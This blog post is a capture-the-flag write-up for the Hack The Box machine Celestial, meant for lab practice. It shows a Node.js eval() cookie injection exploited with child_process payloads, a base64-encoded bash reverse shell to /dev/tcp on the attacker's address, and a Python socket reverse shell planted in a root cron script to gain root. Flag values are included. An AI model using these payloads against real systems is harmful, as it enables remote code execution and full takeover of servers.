Post

HTB Celestial Writeup: Alternative Route

Intro

Long story short, while preparing for my OSWE exam back in early 2022, I stumbled over a list of OSWE-like HTB boxes, and decided to give it a try. Celestial was one of them. While it was a rather straightforward machine to solve by 2022+ HTB standards, what a surprise it was to discover that none of the 10+ writeups, including the official one, proposed an attack vector I used. So, I decided to document it in a form of a good ol’ HTB writeup. With some of my hacking tips and workflows of course!

Recon

Before starting active scans, let’s add the machine’s domain name in the format of MACHINE_NAME.htb to our /etc/hosts. In the past, this has been sort of an unwritten rule for HTB, and you could waste a couple of hours trying to pwn an empty Apache server only to figure out that you were using an incorrect VHOST name all this time.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ sudo bash -c "echo '10.10.10.85 celestial.htb' >> /etc/hosts"
                                                                                                                                                   
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ ping celestial.htb                                      
PING celestial.htb (10.10.10.85) 56(84) bytes of data.
64 bytes from celestial.htb (10.10.10.85): icmp_seq=1 ttl=63 time=107 ms
64 bytes from celestial.htb (10.10.10.85): icmp_seq=2 ttl=63 time=107 ms
^C
--- celestial.htb ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 106.677/106.966/107.255/0.289 ms

Once this is done, let’s scan the host with Nmap. We will enumerate both TCP and UDP ports. I usually skip UDP scanning, but often regret it in CTFs like HTB after bashing my head against the wall for a bit of time :D Guess it’s better to be safe than sorry.

TCP Scan

1
sudo nmap -sT -sVC -p- --min-rate=500 -oA nmap_celestial -vvv celestial.htb

You might see that the command has a lot of flags in it. Let’s quickly break them down:

  • -sT — use full connect TCP handshake mode. To be honest, I never saw any benefits of using -sS (”stealth” half-open TCP handshake mode), as it is really not stealthier by any means in 2024 but can result in some weird output if scans are made through proxies / unconventional tunnels. -sT will give you a concrete result.
  • -sVC are actually 2 separate flags, -sV (enumerate service version) and -sC (run common Nmap scripts against the services). These flags will help you gather a lot of auxiliary info about the open ports at your target.
  • -p- — scan all 1-65535 ports.
  • --min-rate=500 set a minimum request rate to 500 requests / s. Some people love using the -T5 flag to speed up the scan, but, in my experience, Nmap would quickly throttle to hell if the connection has a small bandwidth and is unstable (like a HTB OpenVPN tunnel is). A minimum rate would limit this throttling to an acceptable scan speed. Nmap will work in a default -T4 mode in our case.
  • -oA — output all scan results in .txt, .xml, and .csv files. Useful for some later processing!
  • -vvv — be very verbose. I like to get heaps of text in my terminal. Helps me feel like a real hacker.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ sudo nmap -sT -sVC -p- --min-rate=500 -oA nmap_celestial -vvv celestial.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-23 11:18 EST
...
Not shown: 65528 closed tcp ports (conn-refused)
PORT      STATE    SERVICE REASON      VERSION
3000/tcp  open     http    syn-ack     Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
17274/tcp filtered unknown no-response
23603/tcp filtered unknown no-response
24841/tcp filtered unknown no-response
35846/tcp filtered unknown no-response
41228/tcp filtered unknown no-response
47962/tcp filtered unknown no-response
...
Nmap done: 1 IP address (1 host up) scanned in 164.54 seconds
           Raw packets sent: 4 (152B) | Rcvd: 1 (28B) 

UDP Scan

1
sudo nmap -sU --top-ports=1000 --min-rate=500 -oA nmap_celestial_udp -vvv celestial.htb

There are way fewer flags in my UDP scan command. UDP scans take way longer than they should because of the protocol specifics (stateless transmission and stuff). So, I often resort to scanning only the top 1000 (or even the top 100) ports without any extra script load to save time.

  • -sU — UDP scan mode
  • --top-ports=1000 — scan only top 1000 ports. You should probably set it to 100 to save some time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU --top-ports=1000 --min-rate=500 -oA nmap_celestial_udp -vvv celestial.htb
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-23 19:15 EST
...
Completed UDP Scan at 19:16, 22.11s elapsed (1000 total ports)
Nmap scan report for celestial.htb (10.10.10.85)
Host is up, received reset ttl 63 (0.11s latency).
Scanned at 2024-02-23 19:15:40 EST for 22s

PORT      STATE         SERVICE           REASON
2/udp     open|filtered compressnet       no-response
3/udp     open|filtered compressnet       no-response

... Bunch of open|filtered / closed ports

The UDP port is likely closed if you don’t see a proper open state in the Nmap output. Don’t dig deep into the UDP scan output.

Processing the Nmap data

The text output in the CLI showed only 1 open TCP port 3000. But let’s make the Nmap’s output a bit fancier. We will render the XML scan output into a neat HTML report using the below commands:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ wget -q https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl
                                                                                                                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ xsltproc -o nmap_celestial.html nmap-bootstrap.xsl nmap_celestial.xml 
                                                                                                                                                   
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ open nmap_celestial.html 

I like this style of Nmap reports a lot more. Especially if you have to deal with 10+ targets.

Nmap HTML View 1

Nmap HTML View 1

Foothold

Looks like our only entry point is some Node.js HTTP server at port 3000.

HTTP server enum

Let’s first discover any URLs and directories on the web server. I like using ffuf and raft-large wordlists from SecLists for this job. However, this time, the fuzzing gives us nothing useful:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~]
└─$ ffuf -w ~/git/SecLists/Discovery/Web-Content/raft-large-*.txt -u http://celestial.htb:3000/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________
 :: Method           : GET
 :: URL              : http://celestial.htb:3000/FUZZ
 :: Wordlist         : FUZZ: /home/kali/git/SecLists/Discovery/Web-Content/raft-large-words.txt
...
________________________________________________
*EMPTY*
________________________________________________
... 
 :: Wordlist         : FUZZ: /home/kali/git/SecLists/Discovery/Web-Content/raft-large-directories.txt
...
________________________________________________
*EMPTY*
________________________________________________
... 
 :: Wordlist         : FUZZ: /home/kali/git/SecLists/Discovery/Web-Content/raft-large-files.txt
...
________________________________________________
*EMPTY*

It is high time we opened the website in the browser and saw what we got in response.

Finding the bug

The website’s root gives us a 404 error in the HTML body but sets an interesting profile cookie.

Untitled

Looks like the cookie is a base64-encoded JSON, and the server uses the info from it to form a response text:

Untitled

To streamline the decoding and encoding during the cookie modification, I will use a Hackvector BurpSuite extension. This is a Swiss army knife in the world of encoding/encryption. I highly encourage you to try it out!

The extension is straightforward to use. You just need to wrap your input in Hackvector metatags, and it will be automatically preprocessed before sending the request.

That’s how we can use it to unwrap the JSON encoding:

Untitled

Let’s focus on the output itself. Looks like the server adds num JSON field to itself. Since it is a string in the JSON, the output results in '2' + '2' = '22' . Can we add anything else in the field?

Replacing 2 with a random letter, e.g., a triggers a really interesting error from the server! Looks like we are in the eval function!

Untitled

Okay, we know we are inside the Node.js eval() context, and our string is added to itself. The code should look like this:

eval(json.num + json.num)

Let’s try to add a comment to separate the second part of the eval statement. We don’t want it to mess up our payload.

Untitled

Look! The Comment cancels out the second part of the addition. Our theory is correct! Let’s try some standard Node.JS RCE payloads. You can usually source them from Electron.JS exploitation articles ;D

The payload is:

1
require('child_process').execSync('ls -l /');//

We use a builtin require() Node.js function to import a child_process library and spawn a bash command that will list the root drive of the target server:

Untitled

Getting a shell

So, we have a confirmed command execution. Let’s now try to pop a proper shell on the target! We need two things:

  1. Our server’s external IP / IP in the same network as the target

    HTB VPN will be in a tun* interface.

    1
    2
    3
    4
    
     ┌──(kali㉿kali)-[~/projects/htb/celestial]
     └─$ ip a | grep tun
     4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
         inet 10.10.14.10/23 scope global tun0
    
  2. Working payload, lol

    You can really streamline this process with revshells.com website. Give it a try! Just input your IP from step 1, and select a matching payload and listener. We will use classic nc and bash payloads.

    Untitled

    Nonetheless, this particular bash payload has some nasty characters that often can break everything! So I like to keep it safe and wrap it in a echo BASE64 | decode base64 | execute with bash wrapper to eliminate any possible bad chars.

    Encoding the payload

    1
    2
    3
    4
    
     ┌──(kali㉿kali)-[~/projects/htb/celestial]
     └─$ echo '/bin/bash -i >& /dev/tcp/10.10.14.10/8888 0>&1' | base64
     L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzg4ODggMD4mMQo=
                                  
    

    Wrapped payload

    1
    
     echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzg4ODggMD4mMQo= | base64 -d | bash
    

Let’s execute the malicious shell on the target!

Final payload:

1
require('child_process').execSync('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEwLzg4ODggMD4mMQo= | base64 -d | bash');//

Untitled

On the attacker server, we get a shell from a sun user!

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/projects/htb/celestial]
└─$ nc -lvnp 8888       
listening on [any] 8888 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.85] 57576
bash: cannot set terminal process group (2785): Inappropriate ioctl for device
bash: no job control in this shell
sun@celestial:~$ 

And we get our user.txt flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
sun@celestial:~$ ls -l
ls -l
total 60
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Desktop
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Documents
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Downloads
-rw-r--r--  1 sun  sun  8980 Sep 19  2017 examples.desktop
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Music
drwxr-xr-x 47 root root 4096 Sep 15  2022 node_modules
-rw-r--r--  1 root root   21 Feb 23 14:35 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Pictures
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Public
-rw-rw-r--  1 sun  sun   870 Sep 20  2017 server.js
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Templates
-rw-rw-r--  1 sun  sun    33 Feb 23 11:17 user.txt
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Videos

sun@celestial:~$ cat user.txt
cat user.txt
ed79a760450b9cc0a21dda53d53f8e1e

What’s all the fuss about?

Now that we’ve compromised the Node.js server, it is time to explain why this write-up exists. You see, for some reason, all write-ups submitted to HTB only focus on the fact that this server uses a version of the node-serialize library vulnerable to CVE-2017-5941.

Below is listed the vulnerable server code that makes use of that library (lines 5, 11-12). You can look up the exploit for it here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// contents of /home/sun/server.js
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) { 
     var sum = eval(obj.num + obj.num);
     res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
   }else{
     res.send("An error occurred...invalid username type"); 
   }
}else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("<h1>404</h1>");
});
app.listen(3000);

However, for a reason unknown to me, everybody seems to disregard the literal eval(obj.num + obj.num) call 2 lines below (line 14). This is the bug that we exploited above. ¯\(ツ)/¯ To be honest, it looks way more viable to exploit, at least in terms of the payload complexity.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// contents of /home/sun/server.js
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) { 
     var sum = eval(obj.num + obj.num);
     res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
   }else{
     res.send("An error occurred...invalid username type"); 
   }
}else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("<h1>404</h1>");
});
app.listen(3000);

Getting root

Let’s finish the box by rooting it.

Locating the privesc vector

If you pay attention to the ls -l command above, you can see a strange file output.txt, owned by root in our home folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sun@celestial:~$ ls -l
ls -l
total 60
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Desktop
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Documents
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Downloads
-rw-r--r--  1 sun  sun  8980 Sep 19  2017 examples.desktop
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Music
drwxr-xr-x 47 root root 4096 Sep 15  2022 node_modules
-rw-r--r--  1 root root   21 Feb 23 14:35 output.txt
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Pictures
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Public
-rw-rw-r--  1 sun  sun   870 Sep 20  2017 server.js
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Templates
-rw-rw-r--  1 sun  sun    33 Feb 23 11:17 user.txt
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 Videos

It seems the root user runs some script and outputs the info about it to our home folder (?)

1
2
sun@celestial:~$ cat output.txt
Script is running...

Let’s try searching for this string on the server.

1
2
3
sun@celestial:~$ grep "Script is running..." -r / 2>/dev/null
/home/sun/output.txt:Script is running...
/home/sun/Documents/script.py:print "Script is running..."

Lol, the exact string is stored in a script.py file, owned by our user in the ~/Documents folder! Something fishy is happening here!

1
2
3
4
5
6
7
sun@celestial:~/Documents$ ls -la
ls -la
total 12
drwxr-xr-x  2 sun  sun  4096 Sep 15  2022 .
drwxr-xr-x 21 sun  sun  4096 Oct 11  2022 ..
-rw-rw-r--  1 sun  sun    29 Sep 21  2017 script.py
lrwxrwxrwx  1 root root   18 Sep 15  2022 user.txt -> /home/sun/user.txt

How about modifying it to confirm that something is happening to it? We can use cat <<EOF > file trick to edit the file without an interactive editor, like vi, or nano. We’ve set the script to touch a file in the /tmp directory.

1
2
3
4
5
6
7
8
9
sun@celestial:~/Documents$ cat <<EOF > script.py
> import os
> os.system('touch /tmp/test')
> EOF
EOF

sun@celestial:~/Documents$ cat script.py
import os
os.system('touch /tmp/test')

Sure enough, a couple minutes later, a /tmp/test file, owned by root, appeared in the folder :D Smells like a cron job to me.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sun@celestial:~/Documents$ ls -la /tmp
ls -la /tmp
total 48
drwxrwxrwt 11 root root 4096 Feb 23 15:00 .
drwxr-xr-x 23 root root 4096 Sep 15  2022 ..
drwxrwxrwt  2 root root 4096 Feb 23 14:53 .font-unix
drwxrwxrwt  2 root root 4096 Feb 23 14:53 .ICE-unix
drwx------  3 root root 4096 Feb 23 14:53 systemd-private-bb7be2772f104447a28be1464637d838-colord.service-u8Pz5q
drwx------  3 root root 4096 Feb 23 14:53 systemd-private-bb7be2772f104447a28be1464637d838-rtkit-daemon.service-aJi8qt
drwx------  3 root root 4096 Feb 23 14:53 systemd-private-bb7be2772f104447a28be1464637d838-systemd-timesyncd.service-ehGjkV
-rw-r--r--  1 root root    0 Feb 23 15:00 test
drwxrwxrwt  2 root root 4096 Feb 23 14:53 .Test-unix
drwx------  2 root root 4096 Feb 23 14:53 vmware-root
-r--r--r--  1 root root   11 Feb 23 14:53 .X0-lock
drwxrwxrwt  2 root root 4096 Feb 23 14:53 .X11-unix
drwxrwxrwt  2 root root 4096 Feb 23 14:53 .XIM-unix

Getting a root shell

Popping a root shell is pretty straightforward. I’ve used the Python payload from revshells.com, but you can also modify the above example with os.system.

1
2
3
4
5
6
7
8
9
sun@celestial:~/Documents$ cat <<EOF > script.py
cat <<EOF > script.py
> import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
<;os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")                   
> EOF
EOF
sun@celestial:~/Documents$ cat script.py
cat script.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",8889));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

In 5 minutes, we get a reverse shell from a root user.

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8889
listening on [any] 8889 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.85] 42866
root@celestial:~# id
id
uid=0(root) gid=0(root) groups=0(root)

root@celestial:~# cat root.txt
cat root.txt
e8dff30e15353272508f5f8ad63ee60e

Here’s our culprit in the crontab! :)

1
2
3
4
5
root@celestial:~# crontab -l
# Edit this file to introduce tasks to be run by cron.
...
# m h  dom mon dow   command
*/5 * * * * python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py

Conclusion

Thanks for reading! Hope you’ve had as much fun as I did when I found the alternative solution to this box :D And, if you have any more hacking lifehacks, be sure to message me! This might turn out in a mini-series of some sort.

This post is licensed under CC BY 4.0 by the author.